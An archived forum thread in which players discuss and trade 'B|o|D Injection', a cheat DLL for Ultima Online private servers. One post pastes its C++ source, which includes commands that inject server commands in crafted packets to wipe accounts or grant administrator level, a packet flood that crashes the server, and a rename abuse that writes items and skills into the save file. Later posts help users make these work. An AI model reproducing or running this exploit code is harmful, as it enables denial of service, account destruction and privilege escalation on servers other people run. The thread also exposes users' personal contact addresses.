PDA

View Full Version : B|o|D Injection


ReDragoN
26th December 2003, 21:00
I have it, anyone wanna trade for something else? The version I have is the last one.

Dark
27th December 2003, 04:07
Read rules pls.. MPC dont trade, if u want to post the hack, so post it or hold it private.

Virtuosofriend
28th December 2003, 23:37
If you wanna trade do it.But if you ask money for it i will warn you.

ReDragoN
29th December 2003, 01:15
lol funny asking money for a stupid dll...

Dark
29th December 2003, 02:03
there are alot of ppl who make this.. but its in some countrys illegal to sell hackz

Virtuosofriend
31st December 2003, 00:57
And we dont support ppl who sell hacks.

vn1
4th January 2004, 06:14
what about write some info about this dll ? what this dll can do ?

I have pg|de and one that can create items and crash world save on 51a
my icq is 10905813

Sr.TV
4th January 2004, 07:17
Someone has it to works on RunUO?

CrackBunny
5th January 2004, 17:04
What is a the B|o|D Injection ? what can you do with what are the fuctions ?

ReDragoN
5th January 2004, 18:55
Some cool features?

It contain ALL pg|de's feature in it.

Also:

,nukeacct <- nuke account file
,diesphere <- crash the shard
,modchar <- tweak yourself items/skills/stats
,broadcast <- broadcast a message
,setuid <- set the uid of an object
,sys <- send a message to all online client

that is all i think for the moment :/

CrackBunny
5th January 2004, 19:40
that sounds super nice but its like pg.de i think they won't release it public only private

ReDragoN
5th January 2004, 20:04
well website of bod injection is still on and the download link still work.

CrackBunny
5th January 2004, 20:27
Originally posted by ReDragoN
well website of bod injection is still on and the download link still work.

so what is the site ?

ReDragoN
5th January 2004, 20:36
Why don't you search on internet? :)

CrackBunny
6th January 2004, 12:42
well bod won't work on all shard redragon an me tested it on an shard but it didn't work at all

Sr.TV
6th January 2004, 16:05
HELP !!! I Can't find it ... :(

ReDragoN
6th January 2004, 17:57
Originally posted by CrackBunny
well bod won't work on all shard redragon an me tested it on an shard but it didn't work at all

Right, on the shard he plays it is all fixed. :(

CrackBunny
6th January 2004, 21:54
but there still ar shard where it aint fixt

CrackBunny
12th January 2004, 21:04
iet.wakeuphate.com (http://iet.wakeuphate.com/index.html) got it from the other thread

_C_
21st January 2004, 20:05
hello folks!
i've tried bod injection, but i dont know where i've to write command, for exaple ,modchar

Can anyone help me?
Thanks

ReDragoN
22nd January 2004, 00:25
Originally posted by _C_
hello folks!
i've tried bod injection, but i dont know where i've to write command, for exaple ,modchar

Can anyone help me?
Thanks

http://iet.wakeuphate.com/injection.html

TheGangster
23rd January 2004, 17:14
If anyone understands me... here's the code..

void Injection::command_modchar(const arglist_t & args)
{
int in, i;
i=0;
uint8 * buf = new uint8[255];
buf[0]=0x75;
char buffer[1];
char t=0x00;
pack_big_uint32(buf + 1, m_world->get_player()->get_serial());
in=_open("char.txt", _O_BINARY|_O_RANDOM);
for(i=0; i<filelength(in); i++)
{
_read(in, buffer, 1);
buf[5+i]=(uint8)buffer[0];
}
_close(in);
if (i<30)
{
for (int j=i; j<30; j++)
buf[j+i]=t;
i=30;
}
else if (i>255)
{
return;
}
else if ((i<255) && (i!=3))
{
client_print("IET: Adjusting charactor...");
for (int j=i;j<255;j++)
buf[j+i]=' ';
i=255;
}

send_server( buf, (5+i));
delete [] buf;
stg="";
}

void Injection::command_sendpacket(const arglist_t & args)
{

int s=atoi(args[1].c_str());

uint8 * buf = new uint8[1000];
uint8 * b = new uint8[4];
uint8 * buffer = new uint8[4];
int in,i,j,l;
int c=0,c2=0;

in=_open("packet.txt", _O_BINARY|_O_RANDOM);
for(i=0;i<filelength(in);i+=4)
{
_read(in,buffer,3);
_read(in,b,1);

if (buffer[0]=='x')
{
stg="";
stg+=buffer[1];
stg+=buffer[2];

_read(in,buffer,3);
_read(in,b,1);

l=atoi(stg.c_str());
for(j=0;j<l;j++)
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
i+=3;


}

else if (buffer[0]=='\"')
{
buf[c]=buffer[1];c++;
buf[c]=buffer[2];c++;
buf[c]=b[0];c++;
bool check=true;

while (check)
{
_read(in,b,1);
i++;
if (b[0]=='\"')
{
_read(in,b,1);
i++;
check=false;
}
else
{
buf[c]=b[0];
c++;
}
}

}
else if (buffer[0]=='u')
{
client_print("u");
pack_big_uint32(buf + c, m_world->get_player()->get_serial());
c+=4;
}

else if (buffer[0]=='s')
{
int l;
stg="";
stg+=buffer[1];
stg+=buffer[2];
l=atoi(stg.c_str());

if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}
pack_big_uint32(buf + c, objeto[l]);
c+=4;
}
else if (buffer[0]=='\\')
{
buf[c] = (hex2dec( buffer[1], buffer[2] ));
c++;
}
else if (buffer[0]=='q')
{
_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
return ;
}

else
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
}

_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
}

void Injection::command_setuid(const arglist_t & args)
{
if(args.size() < 2)
{
client_print("IET: Use [setuid <Numbers: 1 - 16>");
return;
}

stg=args[1];
client_print(stg);


client_print("IET: Select object to set the uid...");
request_target(&Injection::target_setuid);
}

void Injection::target_setuid(GameObject * obj)
{
if(obj == 0)
{
client_print("IET: Target Canceled...");
return;
}
else
{
int l=0;
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}

objeto[l]=obj->get_serial();
}
}

void Injection::command_nukeacct(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".email bod_iet@yahoo.com\n[EOF]"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: Accounts Nuked...Wait for reboot...");
}

void Injection::command_diesphere(const arglist_t & args)
{
uint8 buf[100000];
buf[0] = 0x94;
buf[1] = 0x11;
buf[1] = 0x01;
strcpy(reinterpret_cast<char *>(buf + 3), "Di Dieee kill die kill ******* **** shit qqqqqq ad wef asfadsf af asf af asf afsa fsadf afs fa fasd asfa sfa sfsaf as a fsa fsaf a fsaf saf asf asfd ");
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
client_print("IET: CrashZorZ SPHERE to Da Max!");
}

void Injection::command_sys(const arglist_t & args)
{
string str = string("");
str = string(args[1]);
for(int i=2; i<args.size(); i++) str+=string(" ")+string(args[i]);
int len = str.length();
uint8 * newbuf = new uint8[8 + len];
newbuf[0] = CODE_CLIENT_TALK;
pack_big_uint16(newbuf + 1, 8 + len);
newbuf[3] = 0xFF;
newbuf[4] = 0x03;
newbuf[5] = 0xb2;
newbuf[6] = 0x00;
newbuf[7] = 0x06;
newbuf[8] = 0x00;
memcpy(newbuf + 8, str.c_str(), len);
send_server(newbuf, 8 + len);
delete /*[]*/ newbuf;
}

void Injection::command_plevel(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".password IET\nplevel=7"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: w00t I Got Da PoWaH");
}

void Injection::command_ress(const arglist_t & args)
{
uint8 buf[2];
buf[0] = 0x2c;
buf[1] = 0x01;
send_server(buf, sizeof(buf));
client_print("IET: You have been resurrected...");
}


This is the source of 'B|O|D'

ReDragoN
24th January 2004, 06:12
Hehe thx. Didn't know it had ,ress ^^

Nazgull
16th February 2004, 15:43
how do i compile it?

bR|nofeaR
16th February 2004, 20:10
maybe using c++ :bunny:

dhrv2
23rd February 2004, 22:52
yep

_C_
24th February 2004, 17:24
i've used bod injection for edit mi charactor, but all the commands that i write in char.txt go to my character name

for example:
char.txt:

Destroyer
Fencing=1000

Char name: Destroyer Fencing=1000

pls help me :bunny:

P.S.: i'm sorry for my not perfect english

bR|nofeaR
24th February 2004, 17:41
Originally posted by _C_ on 24th February 2004 at 11:24
i've used bod injection for edit mi charactor, but all the commands that i write in char.txt go to my character name

for example:
char.txt:

Destroyer
Fencing=1000

Char name: Destroyer Fencing=1000

pls help me :bunny:

P.S.: i'm sorry for my not perfect english


lol... i never heard about changing name...
in most of shards it dont work..
try to put \n and ; after commands..
like Fencing=1000\n
or
Fencing=1000;

dunno...

dont worry about your english, mine is worst.. uahe :///

Prianik
24th February 2004, 22:35
can someone help me with ,modchar???Plz cfn u post me full post 2 create charter...or pass me txt file to job2010@inbox.ru


sry for bad english

_C_
24th February 2004, 22:59
Originally posted by bR|nofeaR



lol... i never heard about changing name...
in most of shards it dont work..
try to put \n and ; after commands..
like Fencing=1000\n
or
Fencing=1000;

dunno...

dont worry about your english, mine is worst.. uahe :///

i've tried to use ; and /n but, after using ,modchar ; and /n will be write in the name of the charactor...

someone that used BOD Injection succesfully can help me? :bunny:

thanks a lot

Nazgull
25th February 2004, 15:59
,modchar aint workin' in any shard, it jsut changes ur name in what u have written in the char.txt file
ie. if u wrote :
Charname
Healing=1000

ur charname will change to charname healing=1000

bR|nofeaR
25th February 2004, 16:07
dont you have to write in hex? o_O

Nazgull
25th February 2004, 18:46
*dunno wtf is hex =)*
explain me please

rawr69!
25th February 2004, 21:08
hex = hexadecimal.

but i doubt that you have to use hex for anything, just open the basic files of the release of the shard you're playing and look at the format of the char, just copy it with different values and it hsould work

bR|nofeaR
25th February 2004, 21:22
,modchar // this reads from a file in injection folder called char.txt, you put in info, it creates items, and changes chars Example:

Newbaby //ur char name
ACCOUNT=newbaby //ur acct name
P=670,2235,-3 //this is where you char will login at when shard reboots
DIR=7
OSKIN=083ea
[WORLDITEM i_platinum_ingot]
SERIAL=040699957 //make bullshit UID, use a high number, has to start with 04
CONT=0576894 //ur chars UID
AMOUNT=50000
COLOR=07a1
WEIGHT=1
ATTR=attr_newbie


Char Name
Alchemy=1000

That would set Alchemy to 1000. But the skill has to be at 0.0 first.

_C_
26th February 2004, 03:04
I tried with a skill that is 0.0 and Fencing=1000 went in my charator name with my name

ReDragoN
26th February 2004, 03:07
I dunno but maybe let it like that and wait for shard to reboot?

_C_
26th February 2004, 18:27
Originally posted by ReDragoN
I dunno but maybe let it like that and wait for shard to reboot?

when you've used ,modchar the commands (for example Fencing=1000) go in the name?

ReDragoN
26th February 2004, 19:53
No. In game do it. Then leave and wait for the shard to reboot.

rawr69!
27th February 2004, 20:30
take care of the caps

_C_
27th February 2004, 22:23
Originally posted by rawr69!
take care of the caps

what does caps mean?

rawr69!
28th February 2004, 00:13
capital leters

aA bB cC

plevel != PLEVEL
i noticed that in some releases of sphere

bR|nofeaR
28th February 2004, 03:38
i tried ,modchar in 51a server, and it worked.... but need to set skill to 0 before using, until the reboot u cant see difference... :)

Holy Cheater
28th February 2004, 15:18
,crash doesn't work :(

_C_
28th February 2004, 16:36
Originally posted by bR|nofeaR
i tried ,modchar in 51a server, and it worked.... but need to set skill to 0 before using, until the reboot u cant see difference... :)

nofear, can you paste exactly what you have write in char.txt

bR|nofeaR
28th February 2004, 19:31
Jerryno
Stealing=1000
Provocation=1000
Necromancy=1000


Charname
skil1
skil2
skil3


all these skills was in 0 :)

_C_
28th February 2004, 22:27
shit! i wrote the same thing!

do you write ",modchar" or ",modchar Jerryno? :bunny:

ReDragoN
29th February 2004, 17:41
,modchar

bR|nofeaR
29th February 2004, 21:19
,modchar

when it work, "adjusting caractor..." appear in client_print
it doesnt seem to work until the reboot :)
else.. it didnt work.. :P

irenox
24th June 2004, 14:26
hi, please send mi bod injection ;( nox@rawanet.net
pleaseee

Dark
24th June 2004, 19:27
look at the other threads, there u could found it

irenox
24th June 2004, 22:09
i cant find it ;( please help

Dark
24th June 2004, 23:04
http://www.mpcforum.com/showthread.php?t=41877

irenox
25th June 2004, 14:25
Big thx Dark. hm i cant use it ;( i have error : (Loading Injection... Error) Error Details : failed to load injection.dll in launcher
reason: (1157) (cant find and open) ;-( help plz...

sorry for errors but im bad in english ;/

LcZelion
12th July 2004, 00:39
Help me!
I can't open url to download BOD injection
Please email it me! lczelion@mail.ru

Dark
12th July 2004, 01:42
http://www.mpcforum.com/attachment.php?attachmentid=179

try this one, before u could download u must register

red_dragons02
12th July 2004, 09:26
most of this stuff I don't even get man..do you have to be experienced in messing around with files and such? cuz if you do i'm screwed.

LOLek
21st July 2004, 21:14
http://www.mpcforum.com/attachment.php?attachmentid=179

try this one, before u could download u must register

BlackOut is B|o|D ? ;)

rawr69!
23rd July 2004, 21:42
nope blackOut != BoD

sir bedevier
25th July 2004, 05:23
so do i jsut put the injection.dll in my UO program folder thingy? sry, im a total noob wit injection

o and, like, in-game i do ,modchar bedevier swordsmanship 200 blacksmithy 200 parrying 200 ???

sir bedevier
25th July 2004, 10:55
hmm, ok i dwnlded the BOD injection dll thingy, and i have injection normal thingy, but when i go to use injection, like it open place were u can edit the filepaths and stuff, but i click on launch, and it goes fine till loading injection, error window pops up and says, This application has failed to start because LIBEXPAT.dll was not found. wtf??? i got LIBEXPATW.dll, but no LIBEXPAT.dll, sum 1 help plz. and yet before i dwnlded the BOD thing, it was fine :S :dead:

Shogun32
25th July 2004, 13:31
rename LIBEXPATW.dll to LIBEXPAT.dll and it should work... (make a back up first)

blitzkreig503
13th April 2008, 08:09
guys im compleatly frusterated!!!!! i clicked all the links none of them worked for me i have literaly spent two weeks nonestop trying to find out how or where to download BOD or Blackout PLEASE PLEASE PLEASE email it to me before i kill myself!!! Romosoldier@hotmail.com PLEASEE!!!! thanks

dandasarge
17th April 2008, 19:47
This post was dead 4 years ago